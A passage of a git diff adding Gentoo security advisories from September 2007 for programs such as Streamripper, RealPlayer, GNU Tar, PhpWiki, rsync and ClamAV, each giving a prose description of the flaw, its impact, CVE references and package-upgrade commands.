+    # emerge --ask --oneshot --verbose &quot;&gt;=net-irc/kvirc-3.2.6_pre20070714&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-2951">CVE-2007-2951</uri>
+  </references>
+  <metadata tag="requester" timestamp="Mon, 06 Aug 2007 14:12:16 +0000">
+    p-y
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sun, 19 Aug 2007 18:59:16 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="submitter" timestamp="Mon, 20 Aug 2007 11:26:17 +0000">
+    p-y
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200709-03.xml b/xml/htdocs/security/en/glsa/glsa-200709-03.xml
new file mode 100644
index 00000000..5fe88724
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200709-03.xml
@@ -0,0 +1,67 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200709-03">
+  <title>Streamripper: Buffer overflow</title>
+  <synopsis>
+    A buffer overflow vulnerability has been discovered in Streamripper,
+    allowing for user-assisted execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">streamripper</product>
+  <announced>September 13, 2007</announced>
+  <revised>September 13, 2007: 01</revised>
+  <bug>188698</bug>
+  <access>remote</access>
+  <affected>
+    <package name="media-sound/streamripper" auto="yes" arch="*">
+      <unaffected range="ge">1.62.2</unaffected>
+      <vulnerable range="lt">1.62.2</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Streamripper is a tool for extracting and recording mp3 files from a
+    Shoutcast stream.
+    </p>
+  </background>
+  <description>
+    <p>
+    Chris Rohlf discovered several boundary errors in the
+    httplib_parse_sc_header() function when processing HTTP headers.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could entice a user to connect to a malicious
+    streaming server, resulting in the execution of arbitrary code with the
+    privileges of the user running Streamripper.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Streamripper users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=media-sound/streamripper-1.62.2&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-4337">CVE-2007-4337</uri>
+  </references>
+  <metadata tag="requester" timestamp="Fri, 24 Aug 2007 09:30:52 +0000">
+    p-y
+  </metadata>
+  <metadata tag="bugReady" timestamp="Fri, 24 Aug 2007 09:31:49 +0000">
+    p-y
+  </metadata>
+  <metadata tag="submitter" timestamp="Sat, 08 Sep 2007 15:35:27 +0000">
+    p-y
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200709-04.xml b/xml/htdocs/security/en/glsa/glsa-200709-04.xml
new file mode 100644
index 00000000..50ba1454
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200709-04.xml
@@ -0,0 +1,65 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200709-04">
+  <title>po4a: Insecure temporary file creation</title>
+  <synopsis>
+    A vulnerability has been discovered in po4a, allowing for a symlink attack.
+  </synopsis>
+  <product type="ebuild">po4a</product>
+  <announced>September 13, 2007</announced>
+  <revised>September 13, 2007: 01</revised>
+  <bug>189440</bug>
+  <access>local</access>
+  <affected>
+    <package name="app-text/po4a" auto="yes" arch="*">
+      <unaffected range="ge">0.32-r1</unaffected>
+      <vulnerable range="lt">0.32-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    po4a is a set of tools for helping with the translation of
+    documentation.
+    </p>
+  </background>
+  <description>
+    <p>
+    The po4a development team reported a race condition in the gettextize()
+    function when creating the file "/tmp/gettextization.failed.po".
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A local attacker could perform a symlink attack, possibly overwriting
+    files with the permissions of the user running po4a.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All po4a users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-text/po4a-0.32-r1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-4462">CVE-2007-4462</uri>
+  </references>
+  <metadata tag="requester" timestamp="Tue, 28 Aug 2007 20:28:00 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="bugReady" timestamp="Tue, 28 Aug 2007 20:28:12 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="submitter" timestamp="Sat, 08 Sep 2007 16:20:41 +0000">
+    p-y
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200709-05.xml b/xml/htdocs/security/en/glsa/glsa-200709-05.xml
new file mode 100644
index 00000000..0d719601
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200709-05.xml
@@ -0,0 +1,69 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200709-05">
+  <title>RealPlayer: Buffer overflow</title>
+  <synopsis>
+    RealPlayer is vulnerable to a buffer overflow allowing for execution of
+    arbitrary code.
+  </synopsis>
+  <product type="ebuild">realplayer</product>
+  <announced>September 14, 2007</announced>
+  <revised>September 14, 2007: 01</revised>
+  <bug>183421</bug>
+  <access>remote</access>
+  <affected>
+    <package name="media-video/realplayer" auto="yes" arch="*">
+      <unaffected range="ge">10.0.9</unaffected>
+      <vulnerable range="lt">10.0.9</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    RealPlayer is a multimedia player capable of handling multiple
+    multimedia file formats.
+    </p>
+  </background>
+  <description>
+    <p>
+    A stack-based buffer overflow vulnerability has been reported in the
+    SmilTimeValue::parseWallClockValue() function in smlprstime.cpp when
+    handling HH:mm:ss.f type time formats.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    By enticing a user to open a specially crafted SMIL (Synchronized
+    Multimedia Integration Language) file, an attacker could be able to
+    execute arbitrary code with the privileges of the user running the
+    application.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All RealPlayer users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=media-video/realplayer-10.0.9&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-3410">CVE-2007-3410</uri>
+  </references>
+  <metadata tag="requester" timestamp="Wed, 29 Aug 2007 10:19:49 +0000">
+    p-y
+  </metadata>
+  <metadata tag="bugReady" timestamp="Wed, 29 Aug 2007 10:19:58 +0000">
+    p-y
+  </metadata>
+  <metadata tag="submitter" timestamp="Sun, 09 Sep 2007 20:21:51 +0000">
+    vorlon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200709-06.xml b/xml/htdocs/security/en/glsa/glsa-200709-06.xml
new file mode 100644
index 00000000..a34702bf
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200709-06.xml
@@ -0,0 +1,66 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200709-06">
+  <title>flac123: Buffer overflow</title>
+  <synopsis>
+    flac123 is affected by a buffer overflow vulnerability, which could allow
+    for the execution of arbitrary code.
+  </synopsis>
+  <product type="ebuild">flac123</product>
+  <announced>September 14, 2007</announced>
+  <revised>September 14, 2007: 01</revised>
+  <bug>186220</bug>
+  <access>remote</access>
+  <affected>
+    <package name="media-sound/flac123" auto="yes" arch="*">
+      <unaffected range="ge">0.0.11</unaffected>
+      <vulnerable range="lt">0.0.11</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    flac123 is a command-line application for playing FLAC audio files.
+    </p>
+  </background>
+  <description>
+    <p>
+    A possible buffer overflow vulnerability has been reported in the
+    local__vcentry_parse_value() function in vorbiscomment.c.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    An attacker could entice a user to play a specially crafted audio file,
+    which could lead to the execution of arbitrary code with the privileges
+    of the user running the application.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All flac123 users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=media-sound/flac123-0.0.11&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-3507">CVE-2007-3507</uri>
+  </references>
+  <metadata tag="requester" timestamp="Wed, 29 Aug 2007 10:21:26 +0000">
+    p-y
+  </metadata>
+  <metadata tag="bugReady" timestamp="Wed, 29 Aug 2007 11:36:53 +0000">
+    p-y
+  </metadata>
+  <metadata tag="submitter" timestamp="Tue, 11 Sep 2007 15:39:45 +0000">
+    vorlon
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200709-07.xml b/xml/htdocs/security/en/glsa/glsa-200709-07.xml
new file mode 100644
index 00000000..301eae1f
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200709-07.xml
@@ -0,0 +1,66 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200709-07">
+  <title>Eggdrop: Buffer overflow</title>
+  <synopsis>
+    A remote stack-based buffer overflow has been discovered in Eggdrop.
+  </synopsis>
+  <product type="ebuild">eggdrop</product>
+  <announced>September 15, 2007</announced>
+  <revised>September 26, 2007: 02</revised>
+  <bug>179354</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-irc/eggdrop" auto="yes" arch="*">
+      <unaffected range="ge">1.6.18-r3</unaffected>
+      <vulnerable range="lt">1.6.18-r3</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Eggdrop is an IRC bot extensible with C or Tcl.
+    </p>
+  </background>
+  <description>
+    <p>
+    Bow Sineath discovered a boundary error in the file
+    mod/server.mod/servrmsg.c when processing overly long private messages
+    sent by an IRC server.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could entice an Eggdrop user to connect the bot to a
+    malicious server, possibly resulting in the execution of arbitrary code
+    on the host running Eggdrop.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Eggdrop users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-irc/eggdrop-1.6.18-r3&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-2807">CVE-2007-2807</uri>
+  </references>
+  <metadata tag="requester" timestamp="Thu, 23 Aug 2007 09:04:09 +0000">
+    p-y
+  </metadata>
+  <metadata tag="bugReady" timestamp="Thu, 23 Aug 2007 09:04:22 +0000">
+    p-y
+  </metadata>
+  <metadata tag="submitter" timestamp="Fri, 07 Sep 2007 09:43:27 +0000">
+    p-y
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200709-08.xml b/xml/htdocs/security/en/glsa/glsa-200709-08.xml
new file mode 100644
index 00000000..3e5d7b09
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200709-08.xml
@@ -0,0 +1,63 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200709-08">
+  <title>id3lib: Insecure temporary file creation</title>
+  <synopsis>
+    A vulnerability has been discovered in id3lib allowing local users to
+    overwrite arbitrary files via a symlink attack.
+  </synopsis>
+  <product type="ebuild">id3lib</product>
+  <announced>September 15, 2007</announced>
+  <revised>September 15, 2007: 01</revised>
+  <bug>189610</bug>
+  <access>local</access>
+  <affected>
+    <package name="media-libs/id3lib" auto="yes" arch="*">
+      <unaffected range="ge">3.8.3-r6</unaffected>
+      <vulnerable range="lt">3.8.3-r6</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    id3lib is an open-source, cross-platform software development library
+    for reading, writing, and manipulating ID3v1 and ID3v2 tags.
+    </p>
+  </background>
+  <description>
+    <p>
+    Nikolaus Schulz discovered that the function RenderV2ToFile() in file
+    src/tag_file.cpp creates temporary files in an insecure manner.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A local attacker could exploit this vulnerability via a symlink attack
+    to overwrite arbitrary files.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All id3lib users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=media-libs/id3lib-3.8.3-r6&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-4460">CVE-2007-4460</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Thu, 13 Sep 2007 20:50:09 +0000">
+    mfleming
+  </metadata>
+  <metadata tag="bugReady" timestamp="Fri, 14 Sep 2007 08:35:20 +0000">
+    falco
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200709-09.xml b/xml/htdocs/security/en/glsa/glsa-200709-09.xml
new file mode 100644
index 00000000..bc026cb8
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200709-09.xml
@@ -0,0 +1,63 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200709-09">
+  <title>GNU Tar: Directory traversal vulnerability</title>
+  <synopsis>
+    A directory traversal vulnerability has been discovered in GNU Tar.
+  </synopsis>
+  <product type="ebuild">tar</product>
+  <announced>September 15, 2007</announced>
+  <revised>September 15, 2007: 01</revised>
+  <bug>189682</bug>
+  <access>remote</access>
+  <affected>
+    <package name="app-arch/tar" auto="yes" arch="*">
+      <unaffected range="ge">1.18-r2</unaffected>
+      <vulnerable range="lt">1.18-r2</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    The GNU Tar program provides the ability to create tar archives, as
+    well as various other kinds of manipulation.
+    </p>
+  </background>
+  <description>
+    <p>
+    Dmitry V. Levin discovered a directory traversal vulnerability in the
+    contains_dot_dot() function in file src/names.c.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    By enticing a user to extract a specially crafted tar archive, a remote
+    attacker could extract files to arbitrary locations outside of the
+    specified directory with the permissions of the user running GNU Tar.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All GNU Tar users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-arch/tar-1.18-r2&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-4131">CVE-2007-4131</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Thu, 13 Sep 2007 18:11:35 +0000">
+    mfleming
+  </metadata>
+  <metadata tag="bugReady" timestamp="Thu, 13 Sep 2007 18:49:13 +0000">
+    mfleming
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200709-10.xml b/xml/htdocs/security/en/glsa/glsa-200709-10.xml
new file mode 100644
index 00000000..a9467534
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200709-10.xml
@@ -0,0 +1,68 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200709-10">
+  <title>PhpWiki: Authentication bypass</title>
+  <synopsis>
+    A vulnerability has been discovered in PhpWiki authentication mechanism.
+  </synopsis>
+  <product type="ebuild">phpwiki</product>
+  <announced>September 18, 2007</announced>
+  <revised>September 18, 2007: 01</revised>
+  <bug>181692</bug>
+  <access>remote</access>
+  <affected>
+    <package name="www-apps/phpwiki" auto="yes" arch="*">
+      <unaffected range="ge">1.3.14</unaffected>
+      <vulnerable range="lt">1.3.14</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    PhpWiki is an application that creates a web site where anyone can edit
+    the pages through HTML forms.
+    </p>
+  </background>
+  <description>
+    <p>
+    The PhpWiki development team reported an authentication error within
+    the file lib/WikiUser/LDAP.php when binding to an LDAP server with an
+    empty password.
+    </p>
+  </description>
+  <impact type="low">
+    <p>
+    A remote attacker could provide an empty password when authenticating.
+    Depending on the LDAP implementation used, this could bypass the
+    PhpWiki authentication mechanism and grant the attacker access to the
+    application.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All PhpWiki users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=www-apps/phpwiki-1.3.14&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-3193">CVE-2007-3193</uri>
+  </references>
+  <metadata tag="requester" timestamp="Tue, 04 Sep 2007 23:41:27 +0000">
+    aetius
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sat, 08 Sep 2007 16:22:11 +0000">
+    p-y
+  </metadata>
+  <metadata tag="submitter" timestamp="Sat, 15 Sep 2007 20:54:32 +0000">
+    p-y
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200709-11.xml b/xml/htdocs/security/en/glsa/glsa-200709-11.xml
new file mode 100644
index 00000000..ddf01472
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200709-11.xml
@@ -0,0 +1,69 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200709-11">
+  <title>GDM: Local Denial of Service</title>
+  <synopsis>
+    GDM can be crashed by a local user, preventing it from managing future
+    displays.
+  </synopsis>
+  <product type="ebuild">gdm</product>
+  <announced>September 18, 2007</announced>
+  <revised>September 18, 2007: 01</revised>
+  <bug>187919</bug>
+  <access>local</access>
+  <affected>
+    <package name="gnome-base/gdm" auto="yes" arch="*">
+      <unaffected range="ge">2.18.4</unaffected>
+      <unaffected range="rge">2.16.7</unaffected>
+      <vulnerable range="lt">2.18.4</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    GDM is the GNOME display manager.
+    </p>
+  </background>
+  <description>
+    <p>
+    The result of a g_strsplit() call is incorrectly parsed in the files
+    daemon/gdm.c, daemon/gdmconfig.c, gui/gdmconfig.c and
+    gui/gdmflexiserver.c, allowing for a null pointer dereference.
+    </p>
+  </description>
+  <impact type="low">
+    <p>
+    A local user could send a crafted message to /tmp/.gdm_socket that
+    would trigger the null pointer dereference and crash GDM, thus
+    preventing it from managing future displays.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    Restrict the write permissions on /tmp/.gdm_socket to trusted users
+    only after each GDM restart.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All GDM users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;gnome-base/gdm&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-3381">CVE-2007-3381</uri>
+  </references>
+  <metadata tag="requester" timestamp="Wed, 15 Aug 2007 05:40:23 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="bugReady" timestamp="Wed, 15 Aug 2007 05:40:36 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="submitter" timestamp="Mon, 20 Aug 2007 09:31:53 +0000">
+    falco
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200709-12.xml b/xml/htdocs/security/en/glsa/glsa-200709-12.xml
new file mode 100644
index 00000000..ecba5e21
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200709-12.xml
@@ -0,0 +1,72 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200709-12">
+  <title>Poppler: Two buffer overflow vulnerabilities</title>
+  <synopsis>
+    Poppler is vulnerable to an integer overflow and a stack overflow.
+  </synopsis>
+  <product type="ebuild">poppler</product>
+  <announced>September 19, 2007</announced>
+  <revised>September 19, 2007: 01</revised>
+  <bug>188863</bug>
+  <access>remote</access>
+  <affected>
+    <package name="app-text/poppler" auto="yes" arch="*">
+      <unaffected range="ge">0.5.4-r2</unaffected>
+      <vulnerable range="lt">0.5.4-r2</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Poppler is a cross-platform PDF rendering library originally based on
+    Xpdf.
+    </p>
+  </background>
+  <description>
+    <p>
+    Poppler and Xpdf are vulnerable to an integer overflow in the
+    StreamPredictor::StreamPredictor function, and a stack overflow in the
+    StreamPredictor::getNextLine function. The original vulnerability was
+    discovered by Maurycy Prodeus. Note: Gentoo's version of Xpdf is
+    patched to use the Poppler library, so the update to Poppler will also
+    fix Xpdf.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    By enticing a user to view a specially crafted program with a
+    Poppler-based PDF viewer such as Gentoo's Xpdf, Epdfview, or Evince, a
+    remote attacker could cause an overflow, potentially resulting in the
+    execution of arbitrary code with the privileges of the user running the
+    application.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All Poppler users should upgrade to the latest version of Poppler:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-text/poppler-0.5.4-r2&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-3387">CVE-2007-3387</uri>
+  </references>
+  <metadata tag="requester" timestamp="Wed, 29 Aug 2007 12:44:56 +0000">
+    p-y
+  </metadata>
+  <metadata tag="bugReady" timestamp="Wed, 29 Aug 2007 12:45:03 +0000">
+    p-y
+  </metadata>
+  <metadata tag="submitter" timestamp="Sat, 01 Sep 2007 13:10:32 +0000">
+    aetius
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200709-13.xml b/xml/htdocs/security/en/glsa/glsa-200709-13.xml
new file mode 100644
index 00000000..93c764a5
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200709-13.xml
@@ -0,0 +1,68 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200709-13">
+  <title>rsync: Two buffer overflows</title>
+  <synopsis>
+    Two user-assisted buffer overflow vulnerabilities have been discovered in
+    rsync.
+  </synopsis>
+  <product type="ebuild">rsync</product>
+  <announced>September 20, 2007</announced>
+  <revised>September 20, 2007: 01</revised>
+  <bug>189132</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-misc/rsync" auto="yes" arch="*">
+      <unaffected range="ge">2.6.9-r3</unaffected>
+      <vulnerable range="lt">2.6.9-r3</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    rsync is a file transfer program to keep remote directories
+    synchronized.
+    </p>
+  </background>
+  <description>
+    <p>
+    Sebastian Krahmer from the SUSE Security Team discovered two off-by-one
+    errors in the function "f_name()" in file sender.c when processing
+    overly long directory names.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    A remote attacker could entice a user to synchronize a repository
+    containing specially crafted directories, leading to the execution of
+    arbitrary code with the privileges of the user running the application.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All rsync users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=net-misc/rsync-2.6.9-r3&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-4091">CVE-2007-4091</uri>
+  </references>
+  <metadata tag="requester" timestamp="Sat, 08 Sep 2007 22:30:02 +0000">
+    p-y
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sun, 09 Sep 2007 00:00:07 +0000">
+    p-y
+  </metadata>
+  <metadata tag="submitter" timestamp="Sat, 15 Sep 2007 16:04:37 +0000">
+    p-y
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200709-14.xml b/xml/htdocs/security/en/glsa/glsa-200709-14.xml
new file mode 100644
index 00000000..458ee4b9
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200709-14.xml
@@ -0,0 +1,75 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200709-14">
+  <title>ClamAV: Multiple vulnerabilities</title>
+  <synopsis>
+    Vulnerabilities have been discovered in ClamAV allowing remote execution of
+    arbitrary code and Denial of Service attacks.
+  </synopsis>
+  <product type="ebuild">clamav</product>
+  <announced>September 20, 2007</announced>
+  <revised>September 20, 2007: 01</revised>
+  <bug>189912</bug>
+  <access>remote</access>
+  <affected>
+    <package name="app-antivirus/clamav" auto="yes" arch="*">
+      <unaffected range="ge">0.91.2</unaffected>
+      <vulnerable range="lt">0.91.2</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Clam AntiVirus is an open source (GPL) anti-virus toolkit for UNIX,
+    designed especially for e-mail scanning on mail gateways.
+    </p>
+  </background>
+  <description>
+    <p>
+    Nikolaos Rangos discovered a vulnerability in ClamAV which exists
+    because the recipient address extracted from email messages is not
+    properly sanitized before being used in a call to "popen()" when
+    executing sendmail (CVE-2007-4560). Also, NULL-pointer dereference
+    errors exist within the "cli_scanrtf()" function in libclamav/rtf.c and
+    Stefanos Stamatis discovered a NULL-pointer dereference vulnerability
+    within the "cli_html_normalise()" function in libclamav/htmlnorm.c
+    (CVE-2007-4510).
+    </p>
+  </description>
+  <impact type="high">
+    <p>
+    The unsanitized recipient address can be exploited to execute arbitrary
+    code with the privileges of the clamav-milter process by sending an
+    email with a specially crafted recipient address to the affected
+    system. Also, the NULL-pointer dereference errors can be exploited to
+    crash ClamAV. Successful exploitation of the latter vulnerability
+    requires that clamav-milter is started with the "black hole" mode
+    activated, which is not enabled by default.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All ClamAV users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge --sync
+    # emerge --ask --oneshot --verbose &quot;&gt;=app-antivirus/clamav-0.91.2&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-4510">CVE-2007-4510</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-4560">CVE-2007-4560</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Fri, 14 Sep 2007 22:57:24 +0000">
+    mfleming
+  </metadata>
+  <metadata tag="bugReady" timestamp="Sat, 15 Sep 2007 12:07:22 +0000">
+    p-y
